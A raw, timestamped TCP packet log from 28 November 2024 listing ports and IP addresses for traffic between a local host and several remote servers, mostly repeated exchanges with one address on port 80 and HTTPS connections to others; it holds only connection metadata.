Nov 28, 2024 08:55:54.033140898 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.033148050 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.033238888 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.033267021 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.033482075 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.033624887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.033691883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.033703089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.033741951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.034322977 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.034338951 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.034379005 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.034416914 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.034573078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.034648895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.034667969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.034696102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.035304070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.035370111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.035402060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.035444021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.036125898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.036251068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.036282063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.036282063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.036981106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.037053108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.037148952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.037384033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.037868023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.037923098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.037930965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.037971973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.038681030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.038798094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.038875103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.038933992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.039499044 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.039499998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.039555073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.039634943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.039669991 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.039721966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.040234089 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.040348053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.040407896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.040442944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.040457010 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.040493965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.040652990 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.040776014 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.041006088 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.041156054 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.041157007 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.041163921 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.041166067 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.041189909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.041243076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.041325092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.041368961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.041997910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.042056084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.042161942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.042273045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.042819977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.042876005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.042957067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.043050051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.043673038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.043766975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.043803930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.043803930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.044523954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.044574022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.044625998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.044675112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.045475960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.045526981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.045576096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.046169043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.046221018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.046277046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.046355009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.046984911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.047028065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.047096014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.047174931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.047856092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.047934055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.047949076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.047996998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.048672915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.048739910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.048779964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.048826933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.049531937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.049618006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.049618959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.049666882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.050328970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.050384998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.050457001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.050499916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.051187038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.051249981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.051345110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.051440001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.052022934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.052081108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.052109957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.052154064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.052891016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.052933931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.052946091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.052978992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.053683043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.053795099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.053844929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.054519892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.054567099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.054630995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.054687977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.055345058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.055458069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.055522919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.055613041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.056185007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.056262016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.056334019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.056379080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.057132959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.057204962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.057219982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.057265997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.057902098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.057970047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.057984114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.058012009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.058794022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.058861017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.058892965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.058907986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.059658051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.059745073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.059767962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.059782028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.060343981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.060389042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.060448885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.060494900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.061196089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.061261892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.061319113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.061393976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.062127113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.062170982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.062187910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.062239885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.062864065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.062916040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.063003063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.063116074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.063705921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.063755989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.063775063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.063826084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.064546108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.064594984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.064680099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.064791918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.065381050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.065453053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.065504074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.066210985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.066263914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.066281080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.066333055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.067050934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.067094088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.067172050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.067285061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.067903996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.067950010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.068027020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.068073034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.068727016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.068892002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.068938971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.069581985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.069629908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.069680929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.069730997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.070417881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.070480108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.070497990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.070544958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.071273088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.071331978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.082412958 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.082422018 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.087328911 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.091428041 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.092555046 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.108436108 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.108447075 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.108679056 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.108688116 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.109745026 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.109795094 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.109832048 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.109972954 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.112159967 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.112230062 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.114875078 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.114979982 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.115421057 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.115428925 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.115468025 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.115473986 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.161894083 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.161894083 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.209676981 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.209702015 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.209791899 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.209906101 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.209947109 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.210005045 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210139036 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210146904 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.210192919 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210361958 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210380077 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.210433960 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210555077 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210593939 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.210665941 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210845947 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.210871935 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.210952997 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211354971 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211365938 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.211488962 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211505890 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.211622000 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211631060 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.211709023 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211720943 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.211828947 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211844921 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.211935043 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:54.211951971 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:54.237926960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.237996101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.238040924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.238090038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.238336086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.238392115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.238507032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.238578081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.239171028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.239232063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.239285946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.239326000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.240014076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.240072966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.240185022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.240283012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.240928888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.240950108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.240987062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.241023064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.241739035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.241825104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.241878033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.242517948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.242582083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.242621899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.242670059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.243428946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.243485928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.243580103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.243686914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.244270086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.244343042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.244352102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.244400024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.245055914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.245109081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.245153904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.245201111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.245861053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.245915890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.245970964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.246016979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.246721029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.246773958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.246809006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.246855974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.247567892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.247622013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.247632980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.247678041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.248339891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.248390913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.248472929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.248650074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.249202967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.249253988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.249299049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.249342918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.250027895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.250080109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.250144005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.250194073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.250874043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.250926971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.251022100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.251142979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.251693010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.251743078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.251853943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.251899958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.252595901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.252660990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.252664089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.252701998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.253353119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.253407955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.253488064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.253536940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.254292965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.254380941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.254415035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.254460096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.255024910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.255078077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.255132914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.255234957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.255851984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.255914927 CET	49748	80	192.168.2.8	185.215.113.206
